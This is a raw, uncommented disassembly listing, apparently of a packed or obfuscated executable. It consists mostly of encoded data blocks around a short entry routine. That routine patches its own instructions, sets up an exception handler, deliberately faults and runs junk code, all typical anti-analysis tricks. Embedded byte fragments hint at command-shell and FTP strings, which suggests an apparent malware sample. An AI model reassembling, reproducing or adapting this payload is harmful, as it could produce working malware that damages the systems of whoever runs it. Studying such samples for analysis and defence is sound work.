		dd 5F18B56h, 3B03E6C1h,	871AA596h, 3A011C26h, 1EBC9B6Ch
		dd 0D70F3E8h, 0D71E10F7h, 75FA812Dh, 0F0F10B38h, 905C858Dh
		dd 10427E2h, 30E74D46h,	0C4171397h, 0D34F540Ch,	123E7CA3h
		dd 8D505705h, 3407A6BDh, 0C1404261h, 29763CC8h,	0E2211979h
		dd 0DF1F825h, 6A465883h
		dd 0F8030305h, 41CF0868h, 0FB351257h, 60858638h, 0DACDD385h
		dd 109F553Ah, 0B63C5712h, 0EAE81DF8h, 0B6FF2B05h, 16D3DFA4h
		dd 6805113Eh, 0F1012010h, 7CC06810h, 6E6A3527h
		db 0C0h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_402839:				; CODE XREF: start-1777Fj
		jmp	near ptr 8D67139Dh
; ---------------------------------------------------------------------------


loc_40283E:				; CODE XREF: start+7j
		mov	eax, offset loc_40284D
		add	byte ptr [eax],	28h
		inc	eax
		add	dword ptr [eax], 1234567h


loc_40284D:				; DATA XREF: start:loc_40283Eo
		nop
		test	al, 52h
		sbb	eax, 0FF6450FFh
		xor	eax, 0
		mov	large fs:0, esp
		xor	eax, eax
		mov	[eax], ecx
		nop
		nop
		nop
		nop
		pop	esi
		push	esi
		db	2Eh
		push	0E7CE3324h
		db	67h
		jo	near ptr 2891h
		mov	al, ds:1BA31D9Ah
		push	esi
		db	26h
		sti
		cwde
		in	eax, 0F9h	; AT 80287 data.
					; 286 sends opcodes & operands and receives results.
		jz	short loc_402839
		sbb	[edi-69h], ecx
		add	eax, 0A4A35802h
		inc	ebx
		push	0B6D8243Ch
		sbb	al, 0B8h
		dec	ecx
		add	eax, 10C45DA1h
		mov	cl, 0CBh
		adc	al, 0A3h
		db	3Eh
		and	eax, 17D4A9DBh
		push	eax
		xor	edx, [ebp+4E28C0C7h]
		db	67h
		xchg	eax, esp
		test	[ecx], edi
		pop	ebp
		sbb	[ebp-2C2B5EE7h], al
		sub	ch, dl
		cmp	[ebp-1CD343ADh], cl
		inc	ecx
		and	[esi], dh
		lodsd
		adc	ah, al
		or	[eax+62h], al
		loop	loc_4028E0
		mov	dword ptr [edi], 0C167A578h
		push	esi
		add	dh, [ebx-77h]
		pop	ebp
		xor	[ecx], edx
		cmp	al, 3
		xchg	eax, edi
		db	26h
		adc	eax, 7124031Ah
		dec	ebp


loc_4028E0:				; CODE XREF: start-1773Aj
		adc	eax, 8BC070CBh
		hlt
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		dw 2A89h
		dd 3CADC75h, 5C56179Fh,	64945A46h, 0C6534EFh, 0FFFC4D83h
		dd 0C2295F72h, 0F356E049h, 551C9D5Fh, 1178526Fh, 19B95014h
		dd 5AED7908h, 658D0882h, 0F0B8C4CCh, 4C0D26C7h,	6A0AC60Dh
		dd 0E763504h, 0F847128h, 8A4C58B6h, 840AE98Bh, 750D7188h
		dd 0C64F0E1Ch, 0C30E243Ch, 73EA4529h, 0A33B2380h, 61E64AA4h
		dd 0B6E86D01h, 3C187AEEh, 3B2A31DFh, 0A8620AA4h, 0ED9E971h
		dd 966A6E20h, 0C71882BAh, 1B09B456h, 0F138B8D2h, 72CE31B2h
		dd 4230E860h, 74284E3Dh, 8063FE99h, 7AA59CE8h, 2440D86Ch
		dd 326AE701h, 20BF71C2h, 7D8382E2h, 0B23556C1h,	0F350700Bh
		dd 8915AAABh, 69C3241Dh, 4EEF860Fh, 0EE7D2321h,	0BB9D02h
		dd 118AEF4Dh, 0CB1D284h, 14C1EEAEh, 0CDC0FF41h,	870FC23Bh
		dd 7625935Ah, 5BF7CEC7h, 489C52EEh, 524E28CCh, 474D871h
		dd 9E8DAA0Bh, 80899148h, 0CB7B803Bh, 518A2C74h,	6C4D016Bh
		dd 3BFAB8B0h, 1477C711h, 8AFCB282h, 2DA43492h, 16469008h
		dd 76011340h, 804141F5h, 0D4183039h, 16C5D6FFh,	69D08C3h
		dd 0C17204FCh, 5C7E570h, 0E671531Ch, 0D2A35062h, 850BD1FDh
		dd 6E3CCDB0h, 7010BFE1h, 59A5A50Fh, 0BBBA35Ah, 4055EBA5h
		dd 0E4FF7988h, 37548E8h, 26A142DFh, 333D3313h, 0C677246h
		dd 9D2C6F39h, 5A67C854h, 730B3AFAh, 0AB4DB2C2h,	0DEB00C0h
		dd 0AC6E1D39h, 0A29BB360h, 4D1B830h, 14A293E1h,	0B6446503h
		dd 83155CDAh, 5C21255Ah, 20D9FE55h, 0BCAC4BC4h,	25FF1387h
		dd 0FD656A64h, 0EC6814F8h, 4DCE86FCh, 9D19BBB7h, 0A42D8849h
		dd 22749271h, 0C6041398h, 0D04715Dh, 4810578Ch,	0EAE30374h
		dd 0D20C04B8h, 0B41205E3h, 5A15133h, 57E40411h,	97596CC5h
		dd 0AACB6C1Eh, 6517EBB4h, 0DCC5A7A3h, 5F2BC36Fh, 514C31Ch
		dd 36A51A95h, 0AD338FFh, 3DEE1679h, 487BE2Dh, 47058488h
		dd 0C6825804h, 8AF47202h, 23C6F245h, 18204512h,	530D3792h
		dd 85558D57h, 180AB660h, 0C1013BC3h, 0C82B1D77h, 2A6CBC8Dh
		dd 20B82E41h, 0D98B2400h, 2C846867h, 848089DEh,	4242AAF3h
		dd 0FF42288Ah, 5FD02A60h, 1AE3805Bh, 749CFAECh,	7AF38DE9h
		dd 56C46943h, 2376D55Fh, 1DE8FD74h, 971EB556h, 239E3456h
		dd 3AF9363Bh, 5D68E3FCh, 0D827DED8h, 828E5C5Eh,	2728D5Ah
		dd 0F6118B66h, 164918C2h, 1005FA9Eh, 0A005948Ah, 20908864h
		dd 1AA867F5h, 0BD9F0211h, 1C201D1Ah, 168FA3FCh,	81931CA0h
		dd 5C3C26h, 49EB27BFh, 0B25D615h, 4197241h, 3AAA5A1Bh
		dd 80C8804Bh, 5B8820C1h, 1F2C4988h, 72611618h, 7A0B0413h
		dd 534E0E77h, 20E91D81h, 4C6AE0EBh, 59BE4A79h, 0A023264Eh
		dd 0CDFD6A12h, 59A20908h, 3C48FC89h, 68DDD32Fh,	0B4240631h
		dd 632D2197h, 7456DFC2h, 21B4B40Ah, 508C8E2Dh, 1FA6B35Eh
		dd 0CD843DFCh, 321C590Fh, 0C79D0736h, 40A3C32Ch, 77E00482h
		dd 86670722h, 5FB0EF2Ch, 56971675h, 13F1E373h, 0DED14839h
		dd 0C86CD167h, 16D03DC8h, 70B40B77h, 1AB9302Dh,	20621C10h
		dd 83BEB803h, 830F05C6h, 0B856F0E6h, 68EC6073h,	6F794040h
		dd 0A3A614DCh, 8E70FC1Ch, 0F402D8A3h, 0F85A25ECh, 0A3447006h
		dd 3CDCDBF0h, 62F410E8h, 18D0A1C0h, 802D0C8Dh, 73830A1h
		dd 22EBD688h, 2B77E114h, 668C0C50h, 7224005Ch, 15AB0766h
		dd 738DEB14h, 462D5EC0h, 920C2913h, 411830FEh, 0F28B0B10h
		dd 190C712Bh, 0C208805Ah, 0EEC157FCh, 0CE8B0F00h, 69FC7A8Bh
		dd 0F7044EC9h, 0BF604B44h, 5D018C8Dh, 0A8AB9944h, 75828915h
		dd 0C130C8Bh, 0F808E006h, 0C12B7F75h, 3F0575F9h, 0B805F49h
		dd 76CF3B0Ch, 82129303h, 3B04134Ch, 750803C1h, 1EE9648h
		dd 7320F983h, 0B99ABF1Ch, 8DEFD300h, 0F704014Ch, 7C21D700h
		dd 9FE44B0h, 752B5C75h,	0EB390221h, 0E0C18324h,	2DDF1EFBh
		dd 0B0BC8C21h, 24F3A24Eh, 479A106h, 8B085170h, 8955B17Ch
		dd 0F0040A6Ch, 585D0308h, 0B8080DF8h, 1FB8B8Ch,	4F04FFC1h
		dd 673FFF83h, 5F1A867Bh, 18CFBF66h, 6CEC2397h, 2B453934h
		dd 11E7B52Ch, 558960A1h, 5A1749F8h, 0BA6CA3Bh, 0F3890576h
		dd 7141CA96h, 4077FB1Bh, 0FA3B403Eh, 8B2C0276h,	0CE84BFFAh
		dd 8B16D2BEh, 512DBE51h, 67BAE7BDh, 21D261EAh, 1176DC54h
		dd 0BDD41EFDh, 0F69421E2h, 0A75173BDh, 4916BF52h, 0B4A2FBEh
		dd 873041Ch, 0CC91119Ch, 0D5EC4C6Fh, 33390926h,	7544EC66h
		dd 8BCE75C9h, 5329F9B2h, 97260BA7h, 0E712F89h, 5417789h
		dd 100E3B16h, 0CFC36375h, 0A70B0407h, 0F4D8800h, 0B888C1FEh
		dd 8625730Bh, 460F2C3Bh, 403B0E43h, 0D3CF8B80h,	976EB5Ch
		dd 0C50D195Ah, 0B181448Dh, 29EB1809h, 1610246Ch, 19E04F8Dh
		dd 590B25DFh, 7E2D0F04h, 0D8848D42h, 4E3809B7h,	4501548Bh
		dd 891A89F0h, 0AB19135Ch, 0FA3CA356h, 6376DAA1h, 17DF9E48h
		dd 0DEC0D8Bh, 883D8B0Dh, 0E1C19AC0h, 5948030Fh,	332B520Ch
		dd 92272123h, 0FF515305h, 321FE7D7h, 9E11C6Bh, 0E6D0850h
		dd 104039F8h, 88A48316h, 3C57756Ch, 482FFE0Fh, 48190A43h
		dd 43792A84h, 608313E0h, 11B6FE04h, 30788324h, 8E536CC9h
		dd 0C702C10h, 0C412ED5Ah, 0A87E1009h, 8B8DF44Dh, 4F2B115h
		dd 0C5923280h, 28B6C8CBh, 114C3B70h, 8D5104ECh,	68511448h
		dd 6B4339E3h, 1685B1D9h, 2FA00DFFh, 0F4F4053Bh,	0FFC535CCh
		dd 3A969D14h, 0D10D8908h, 1C0BEB4Ch, 851AA396h,	0AC983589h
		dd 14CB6A5Bh, 2F677B66h, 0BA8B368h, 0B62C823Ch,	1748861Bh
		dd 74F076C4h, 496AE617h, 0E7D34E0h, 0FF04CE83h,	4D83EED3h
		dd 75068E86h, 0EA10EBF4h, 33C8E026h, 0BAE8D3F6h, 5A340C0Eh
		dd 744A69A1h, 87FC08Ch,	4C8B1973h, 3B2CE14Bh, 23002B23h
		dd 75CF0BFEh, 36C3830Bh, 789A3B14h, 0B8E77218h,	0B797507h
		dd 0D83BDA8Bh, 0D9154726h, 0E6EBE205h, 597519C2h, 117324E0h
		dd 8407B83h, 781379CFh,	0B4EDEB29h, 16267537h, 2FDD1B0Dh
		dd 5F86EE9Eh, 0D8CA3091h, 1CDB5C85h, 0C2146174h, 59733439h
		dd 89105BC0h, 43588B01h, 0C7C238A8h, 334033D0h,	0B61D89BDh
		dd 8B14E2A5h, 9BFA16C5h, 2D384AC7h, 908C268Bh, 0B809BB6h
		dd 50884490h, 12BC8B37h, 55117058h, 8304DDE7h, 84C0FC65h
		dd 0D60B4448h, 750B8B58h, 918B1714h, 5C197A3Bh,	3C981CECh
		dd 23FE018Bh, 74D70B39h, 0D8884CE9h, 0FF673380h, 58A8915Ch
		dd 4C76D84Dh, 75CE57B8h, 17660D5Fh, 64206Ah, 7CC9855Fh
		dd 0BE1D105h, 8BF7EB47h, 0F9548B20h, 2B0A0C43h,	70F17FE6h
		dd 4FEC17Bh, 0FE834E04h, 0F8707E3Fh, 0D8F73B5Eh, 17B0D9Bh
		dd 8E612478h, 2B7D2320h, 54967A11h, 169C3823h, 0EC01F3D3h
		dd 44885C23h, 0FE037089h, 0EADD750Fh, 0EC019243h, 31EB0B21h
		dd 2B9D171Eh, 0A13695B9h, 192132E1h, 0AC362967h, 662CFD98h
		dd 888A4685h, 7AC0E38Bh, 0F88604h, 0AFB89569h, 90CE087Ah
		dd 369484E2h, 7CA9E1C7h, 0C4262F1h, 6D22A5CEh, 0C76479C2h
		dd 11FE1E06h, 9B297D0Bh, 0B0599C4h, 11DC8800h, 668ADB62h
		dd 2D8C6C77h, 6F0A3B09h, 7C09168Fh, 2FEB16AEh, 8D0DF028h
		dd 41B68D4Eh, 68047B09h, 0ADB6BCB1h, 0B0BE16F3h, 0CE3709EEh
		dd 743AB06Ah, 0A89110Bh, 0FC038B89h, 8279A3B2h,	0D103F075h
		dd 0A10122C5h, 38FC3212h, 0B00E8B9Fh, 0B0798D21h, 1B753E0Fh
		dd 0F21D3B1Ah, 4B336748h, 0A4B43B91h, 6BFB06CAh, 88911C0h
		dd 8D04428Dh, 8702B708h
		dd 0C4AAE80Dh, 5D30FF1Dh, 8D4C3075h, 7250474Dh,	1836ED63h
		dd 97D45788h, 0C73B5878h, 0AF88744Ch, 6FC02B9Ch, 8FCCF3Dh
		dd 7241C468h, 453B08BFh, 348D30E0h, 9CEB8781h, 46890033h
		dd 6A2A7410h, 30AB6804h, 0B2D36890h, 5C5FFF4Ch,	0C20C3019h
		dd 0D61076AAh, 4BFCDA64h, 337C3625h, 0C538244Eh, 47E0B89h
		dd 6E6205FFh, 0DB9A4541h, 5121675Fh, 8B57DFB0h,	41C8D871h
		dd 0DB330819h, 8F4FC593h, 0C33643E0h, 0C0691B37h, 635A4681h
		dd 826C30FBh, 40EAB045h, 402B108h, 4A27CD26h, 85FB2C1Eh
		dd 0DFE7C133h, 0B40C790Ch, 0E4686633h, 76A18B9Fh, 0C0D1ED30h
		dd 8D693527h, 70550097h, 77FA5480h, 0B1478D3Ch,	0F2184877h
		dd 7E884383h, 8D0BF427h, 8306FC88h, 0F0FC40C7h,	0E7142D7h
		dd 88005EFh, 80C70448h,	0A20F73E8h, 56D30514h, 18F02C62h
		dd 0C7487696h, 0C4F54E2h, 0FC71BEC8h, 26725F01h, 8DACC189h
		dd 8630C4Ah, 168F9C08h,	42449E64h, 0E39EBC13h, 43468A40h
		dd 0BC86C8Ah, 7AC08433h, 434E8880h, 2B090375h, 62660478h
		dd 68B2CB8Bh, 6A337EBBh, 0D2ABD896h, 0B03B1534h, 68420470h
		dd 30D15464h, 0E0FE0314h, 54358B67h, 58680BB8h,	0FF8A0ED3h
		dd 296167D6h, 68507440h, 2D10BC48h, 0A073468h, 6ED0B4A3h
		dd 0B84DA3D6h, 510B3ABCh, 0FF166583h, 0B3D34D0h, 0B8A10E74h
		dd 5305C210h, 0FD1811D3h, 2803B518h, 78B078C5h,	9D9CC33Ah
		dd 0DFD495F8h, 0B8576EB9h, 12567A8Fh, 0C0D98B53h, 0C6F71417h
		dd 8D49CD03h, 69921024h, 6F75D2C0h, 92D521EBh, 74531CE9h
		dd 68B2541h, 75C31F29h,	0F05AEBh, 0E3835175h, 0BC0D7403h
		dd 2F1DF220h, 0C1651C46h, 5F5E5B4Ch, 29B141C3h,	3A691274h
		dd 8A7EB0h, 5EBBD490h, 6C2E3AEEh, 0FA2EE218h, 785B2ACAh
		dd 89D7D352h, 0DA5BAF63h, 1683063Ah, 0DEF3C683h, 1E3F2CCFh
		dd 75160C3Eh, 0EB0439C6h, 0CBE28118h, 9B8CCC2h,	0B000F30Eh
		dd 0B6D23304h, 55E9E753h, 16040A16h, 855F0789h,	0B0C5F875h
		dd 0A3A98575h, 70CFE126h, 23F91CA8h, 0DC3D082Ah, 57467AD0h
		dd 923A5740h, 0A535DE4Dh, 34724717h, 62E4DA98h,	23D01D0Eh
		dd 53E322EBh, 579CE64Dh, 22389C7Eh, 524C701h, 398578DCh
		dd 7E147D0Dh, 0ADDC3610h, 591D09FDh, 0C4AC3F4Ch, 2E2DC45h
		dd 1C16C61Dh, 0FC26619Dh, 0C6C948E7h, 1A8938D4h, 44D32DAFh
		dd 0FB6A209Ah, 5B73202Ch, 7A4C2EFFh, 0FBB82469h, 878BF820h
		dd 0B9E4326Eh, 68E89C5Fh, 1B690414h, 0B1C4FFECh, 0E7A7DC41h
		dd 7D13EB1Ah, 179D45F8h, 388B9611h, 74DC6770h, 5A8B6645h
		dd 21CE61DCh, 0F4BC5775h, 0E778B34Dh, 0ACBA51Ah, 18F08B43h
		dd 0F5ACD84Ah, 0F6327400h, 74040D45h, 1C3EB140h, 0CBB27863h
		dd 7F0BD53Bh, 32CEDA1Eh, 852170A9h, 9CE6008Fh, 23FFC83Ah
		dd 0EE207EC7h, 363FB320h, 16D3DC8Bh, 12CEB3E0h,	0B256CEB6h
		dd 0DF0B7DDEh, 6456B474h, 0AC67E496h, 8F9C5D74h, 475B3C2h
		dd 6EB03C2h, 28858CF3h,	411D2068h, 6DC8D5D1h, 28B25ABFh
		dd 0CB68C871h, 5D6971A7h, 89B4785h, 0C656D285h,	314CFFF7h
		dd 0B27B386Ch, 49E8B15Eh, 0F32E2E86h, 755E0B0Ch, 0B81E2B05h
		dd 85ACC283h, 8C79E447h, 65723B0Fh, 5AE30E7Ch, 0D8729E04h
		dd 2352A283h, 0B88EDFDFh, 76D0F84Ah, 4AC83E49h,	384A4C1Eh
		dd 700C49E0h, 0EB4A304Ah, 35225CF7h, 25917BDFh,	3FF7DF1Bh
		dd 6CBAFE5h, 949E039Ch,	0E7848C79h, 7A749E7Ch, 57DF236Ch
		dd 0FF65096Bh, 0E7D0F0A2h, 0F09EDC03h, 58DFF588h, 1FEB4C50h
		dd 58584C00h, 2CD0ED4Bh, 0BB96890h, 0B0037388h,	0A7DF1ED1h
		dd 0DF352229h, 1B2991FBh, 5BF9FDDFh, 0C067204h,	9E1403E7h
		dd 2C24791Ch, 479E34E7h, 0DADFD588h, 72601FF1h,	3E76805h
		dd 888C9E78h, 0FFD8DFD5h, 9A804725h, 0E7D70075h, 291589FFh
		dd 3292E8Bh, 6E757280h,	16D6974h, 72652065h, 2C726F72h
		dd 600D65B7h, 4F4C54EEh, 1153532Fh, 30E3Ah, 474E4953h
		dd 440B00BCh, 12414D4Fh, 5280113Bh, 38323036h, 202D08B0h
		dd 62614BB0h, 6F746C70h, 6E69200Bh, 61025669h, 0C07A696Ch
		dd 6165680Dh, 0E837BC70h, 6EE83727h, 3D746F2Ch,	677504E1h
		dd 16735958h, 23636170h, 0B7B662Eh, 69776F6Ch, 61617938h
		dd 6E6E6F06h, 0B0363E37h, 0FB647473h, 708235CEh, 2BC07275h
		dd 74726976h, 0CE217559h, 632DA533h, 63200B23h,	286C160Ch
		dd 341727DDh, 0B05FAC5Fh, 0B178652Ah, 58672F5Ch, 74DC4E06h
		dd 175FEBE2h, 0E0F73931h, 0BB65706Fh, 73318558h, 640FC56Fh
		dd 63738B65h, 0F338792Bh, 0E124469Ch, 36646581h, 3A57BD19h
		dd 0C2373F23h, 0C26C756Dh, 0C26874ACh, 716461BFh, 6A6B6321h
		dd 0B917972Fh, 626434F9h, 2EEE61B7h, 84A27302h,	0E56D7221h
		dd 40817000h, 6D617267h, 134A2067h, 2F2F366Dh, 0F53930C2h
		dd 7710B94Fh, 6D162A41h, 2E742E07h, 0FA382BE8h,	677261C1h
		dd 73286875h, 60965F9Ah, 66592B74h, 6E6EE2C1h, 6F82C567h
		dd 3A74058Bh, 2658116Fh, 4C7FBC64h, 60E52D4Dh, 1566398Bh
		dd 73695604h, 2B43AAD0h, 52202B1Bh, 694CE1A0h, 72B46162h
		dd 0A276879h, 167E73DAh, 160E454Dh, 502F1121h, 0B93A12D4h
		dd 612EABh, 0E56A3C00h,	25DCE073h, 6C6B582Ch, 3E6E3377h
		dd 0FFB3C91Eh, 38198738h, 74654701h, 42B1614Ch,	7612B841h
		dd 0BE504C65h, 707516h,	160F9F13h, 642CA557h, 6597E036h
		dd 61017373h, 6F426567h, 0F8584178h, 33359873h,	642E321Bh
		dd 4700163Ah, 0E480EC7h, 0B744812h, 0E3C6C279h,	863755CCh
		dd 1E561C0Eh, 557750E0h, 1C57140Eh, 0D43B5014h,	57228755h
		dd 1D50E80Eh, 74C354ECh, 0F850CE57h, 6657702Eh,	5754E157h
		dd 0E15746C3h, 4AC3563Ah, 56568756h, 1C56600Eh,	7438566Ah
		dd 56707C56h, 90E15686h, 56A6C356h, 0E56B687h, 0D02D56C0h
		dd 0F0033C9Bh, 28CFFCF3h, 79598C1Ch, 64E7707Ch,	4E795A9Eh
		dd 9E2AE73Ch, 0FC087814h, 0CFF0E358h, 0C6D43CE2h, 0AAC7B8F3h
		dd 389A1E59h, 0F3965782h, 3CBACFA8h, 0EAF3D6C8h, 1A1CFECFh
		dd 4E347958h, 7C9E64E7h, 0EEA89679h, 56108501h,	0F13007E6h
		dd 3B91080h, 9E09E713h,	0D047917h, 0C9E39E7h, 0E7340B79h
		dd 7B029E73h, 773DE303h, 72729263h, 0B7606669h,	75455355h
		dd 0A7E12D52h, 41630230h, 77726464h, 4C4611DBh,	62F287E9h
		dd 6C0FD141h, 637213B0h, 0D0B705Eh, 96636C5Fh, 0A7BF7A6h
		dd 4F77098Bh, 88097417h, 745EE563h, 0E9B01D69h,	11B67065h
		dd 2F7C6FDAh, 673F068Dh, 646F4D05h, 46218575h, 4E038D69h
		dd 964F89DDh, 65823943h, 2FD46854h, 4645669Ch, 2F7CEE78h
		dd 0D44D8D9Ah, 54233FBFh, 436B0614h, 39EDEE6Fh,	9D754DE1h
		dd 8B49F38Ah, 455A7968h, 0F02BE441h, 8C4473AFh,	5B3C8EA7h
		dd 4B2CC96Fh, 454E16F6h, 57A0F94Ch, 5F4D3253h, 6241C205h
		dd 537423C1h, 656F6079h, 6859536Dh, 6E3AE553h, 655255B0h
		dd 0F0435A67h, 79654B0Bh, 8853C50Dh, 8EC1565Ah,	79456575h
		dd 4F11E575h, 0E01EE0DEh, 5644410Eh, 49504113h,	0F1E1DB59h
		dd 8B676148h, 8C13CE98h, 0E184CC53h, 6E49707Dh,	0ABFB1D99h
		dd 6D6DBA85h, 2D7322D6h, 5644BD6Eh, 32735963h, 8937DB8Bh
		dd 0A0B56968h, 3E549CE3h, 12655BA8h, 7593419Dh,	0DE853926h
		dd 6E551627h, 64CB7468h, 7011383Eh, 1B2ED7CDh, 49B235E5h
		dd 0BE2ACE46h, 8FE7C146h
		dd 670B1727h, 0D6194173h, 4EC8577Ah, 81439AC5h,	6F547252h
		dd 13855A4Dh, 6FF97942h, 0CF2E7579h, 99B6A917h,	0DF23EBAh
		dd 11B6C7D6h, 7E14645Eh, 16C6B40Fh, 0E707954h, 17714888h
		dd 80B86544h, 0DBE796Fh, 29E8F7BCh, 9DC58756h, 7E1B3FB4h
		dd 7495B00Ah, 7700986Ch, 0B9D201DDh, 51D3A569h,	6EBB0BDDh
		dd 3ED075C6h, 0E9A27C71h, 75A56E73h, 89571F11h,	0B2A75043h
		dd 9F41C50Bh, 4F85150Ch, 0BE74D45h, 0CB41447Fh,	993B80F8h
		dd 1B4E0E9Dh, 0E3A29D3h, 4D434C83h, 6D395F9Fh, 57670FFCh
		dd 3C6BA1DFh, 3456C62Dh, 46C06934h, 334A5A10h, 0B966C904h
		dd 0FA60017Dh, 5E2990Ah, 0E805EBFAh, 708270EBh,	99029895h
		dd 38FDC399h, 9905C0A9h, 0B95D912h, 3485E912h, 12910006h
		dd 0A5EA1241h, 87ED1200h, 126A9AE1h, 9AB900E7h,	8DD71262h
		dd 0CF0574AAh, 0A612C8CEh, 0F36B0BC0h, 6AC097h,	0C091ED3Fh
		dd 9D5E1AC6h, 707BDC16h, 12C70007h, 0BDDF1254h,	485A009Ah
		dd 0AA589A78h, 1258FF50h, 8558DF3Fh, 782C580Dh,	122C0E9Bh
		dd 12000899h, 1A6E1263h, 212975Fh, 0C09AF349h, 68EE1E71h
		dd 0CB94000Ch, 65CE66CFh, 0F367B0C3h, 0ED12B19Ch, 0C1C9E5h
		dd 9BF398F3h, 0C0751562h, 9B9E5E14h, 4B9D2B99h,	0DE100019h
		dd 0CE89F39Dh, 6913CA58h, 5CB1AB3h, 53C226Dh, 1A47B061h
		dd 12DD1675h, 1B701E6Dh, 9D0110C0h, 10627B17h, 263A1CFh
		dd 0FFD980A5h, 1B5DF5Eh, 0DE149898h, 62CFC989h,	0CEC886h
		dd 5E037035h, 0FAA505DEh, 8299FDF4h, 0C8C9A514h, 0CB793CC2h
		dd 164476EFh, 2C03C965h, 3502417Dh, 60EC591Ch, 118BCEC8h
		dd 0C0C34B01h, 0C0777B32h, 6776715Ah, 0DE666600h, 0EBC9EDFCh
		dd 0D8FA00F6h, 0FCEBFDFDh, 992CEAEAh, 0F81605DAh, 9E11FCEDh
		dd 99D8000Dh, 0EDF0E1DCh, 13BBF1CDh, 0F6D55685h, 0F0D50480h
		dd 2CF8EBFBh, 117E0EBh,	0C6ABEAEEh, 6199ABAAh, 62CAD8B0h
		dd 42CEF229h, 0F0FB0B11h, 0F50523F7h, 3C81EAF0h, 0FAF899F7h
		dd 0C0E93D62h, 0F6F5FAEAh, 0B245B3EAh, 0B77C991Fh, 53FF0785h
		dd 4172424Dh, 3FC85318h, 879D34CBh, 6202C0h, 43335002h
		dd 0BC2B9720h, 4B524F00h, 525020h, 4152474Fh, 2E31204Dh
		dd 4C173058h, 4D4E4116h, 8F0A7602h, 50A2B1CDh, 6B03C257h
		dd 330F3267h, 330E8141h, 7261312Eh, 23C24D27h, 57995832h
		dd 325932D4h, 4E0AC116h, 18612054h, 0A623020h, 0A475F932h
		dd 0EC738B68h, 85D5EB07h, 81FF0C59h, 11040023h,	201B7C0Ah
		dd 4087D4ECh, 4C006916h, 0CF234B73h, 977F6821h,	0E008821Bh
		dd 0B8995696h, 0AECD24C8h, 51F6F9Bh, 0DC730077h, 305B743Ah
		dd 0E5097401h, 879D668Ch, 0CE237D27h, 72E2C1Dh,	0DA2F51FAh
		dd 2008D8ABh, 3AEFDAE8h, 0B39FCE57h, 101CB03h, 0CB234697h
		dd 40E70747h, 1670679h,	0DD106507h, 15001F01h, 48E0888Ah
		dd 4F1C00h, 19810044h, 0E4F27A6Ah, 28021C49h, 742530AFh
		dd 0AFF7B310h, 0D15CB2E1h, 0B8F575DFh, 0DFB10429h, 0BD07675Ch
		dd 5C5D319Ch, 3261D101h, 7074377h, 65380036h, 3077B22Eh
		dd 0B0491BE4h, 79004318h, 683F24h, 0B464FC00h, 41A27763h
		dd 0CE04DC08h, 63182CF6h, 0DEDE02h, 0F816000Eh,	5E019F1Ch
		dd 40D72602h, 20B70089h, 11034219h, 746C8BD1h, 7274C4D9h
		dd 635B2E8Ch, 6B9C8B2Bh, 4ED62547h, 4CC5E50h, 0BD0417E8h
		dd 1354171Ch, 5C5A542Eh, 0B1596326h, 0C7775C22h, 9D4545CBh
		dd 5822365h, 0CF030B00h, 879D3837h, 110B80Bh, 507E729h
		dd 19286A60h, 0B10C0039h, 0A89B11D0h, 4F0BC000h, 5FF52ED9h
		dd 8A885D60h, 0C91C04EBh, 0C0E89F11h, 48102B3Ch, 0BD1B760h
		dd 0FCA3F40Ch, 0A03A6074h, 3A13E70Ch, 0CB187A3h, 0E900765Eh
		dd 8897D138h, 0F004068h, 3EC0009h, 9541079Dh, 4F364014h
		dd 0C1797C60h, 7FAC7DCh, 0EE7443E7h, 8578A013h,	0AB000513h
		dd 0E1E9A65Bh, 34F8100Eh, 692F7713h, 138D87A5h,	4023B30Eh
		dd 8932A0Fh, 3788AD84h,	10B98143h, 1C505EEh, 4E16FFA7h
		dd 200C8563h, 0DADFFE1h, 0C207A9F3h, 7BD80F05h,	118877Fh
		dd 840E701Dh, 13CBB90Fh, 6595517Fh, 3A7FAF1Dh, 0E8387402h
		dd 0F7C6C7Fh, 9A1300EAh, 0CE556FA8h, 13DDE943h,	20A3064Fh
		dd 8C5E912Fh, 4B015ABDh, 3CD03B7Dh, 75151F12h, 1C2AD602h
		dd 0E540FD75h, 18973124h, 0CF100373h, 0F8003C08h, 0E7F06871h
		dd 353180E8h, 4B4F2030h, 322FBEACh, 328F0730h, 30338736h
		dd 31333361h, 30178EDBh, 987661C4h, 6543766Ch, 0A00B6ECBh
		dd 9678652Eh, 636582EDh, 176D2C68h, 8266666h, 2576739Ah
		dd 0B0351B18h, 3E3400h,	646D633Eh, 7074662Eh, 61031ABCh
		dd 796E6F6Eh, 7339186Dh, 0EFA817BFh, 628C09C8h,	0F81B6767h
		dd 74586567h, 5F63694Dh, 7F6D3A6Dh, 79628B1Bh, 5FE25411h
		dd 200BE026h, 0B53A732Dh, 0DF3B3A16h, 64A6BC20h, 206C6517h
		dd 0C76CF535h, 37320B31h, 9701302Eh, 630D0B31h,	0BF675C3Ah
		dd 6F6C02E2h, 42CE0067h, 25D0710Fh, 5C166E5Bh, 5C05095Ch
		dd 68637069h, 659EBEDh,	6613D001h, 1CEC0481h, 33E4FF07h
		dd 35291863h, 55513DB8h, 39A04969h, 5A544552h, 3F710752h
		dd 1A026A2Eh, 46702C00h, 0E854524Fh, 26416350h,	0CD51073Ah
		dd 27F0000Fh, 556D754Ah, 730B8570h, 5402854Eh, 0D0079A69h
		dd 6F4AA1h, 616B6162h, 4F530033h, 5754460Bh, 5C115541h
		dd 5C299C6Ah, 0F5C97E3h, 0B6F0207Fh, 7561525Ch,	42A1BADBh
		dd 0EB652AFFh, 7754557Ah, 6D4E03B0h, 2851019Dh,	7A2075D6h
		dd 7E1015B1h, 0BC84CE01h, 813BFB10h, 3BBF01CEh,	0F382CE10h
		dd 10CFAF02h, 9D1A20CAh, 0D768E4AAh, 0D907C72Eh, 0BC0C7C4h
		dd 0C31D11F9h, 96F204C0h, 8D790BDEh, 0DE8EF908h, 909D8F77h
		dd 927991E7h, 0A19377DEh, 30793CBh, 8C7A0A9Eh, 0CE9E4B4h
		dd 2004535Ah, 0D5199305h, 33021EA4h, 0BCD35398h, 68F56C07h
		dd 7B34069h, 531C3FB1h,	0F0C0B191h, 11076352h, 123CC0CFh
		dd 0CF13F39Ch, 38183C70h, 104558F7h, 1C1A07CFh,	1B7951D8h
		dd 9E1CE7A0h, 68787978h, 589E79E7h, 0E7487A79h,	79449EFCh
		dd 1E134FFh, 0CA6D0402h, 600BC089h, 21827982h, 0A63BAEBEh
		dd 0A1000BDFh, 81C007A5h, 0E8FCE09Fh, 807E3B40h, 0D2FA82Eh
		dd 0A3DAA3C1h, 811F87EAh, 0FE400FFEh, 5F2FB58Bh, 0B69E419Fh
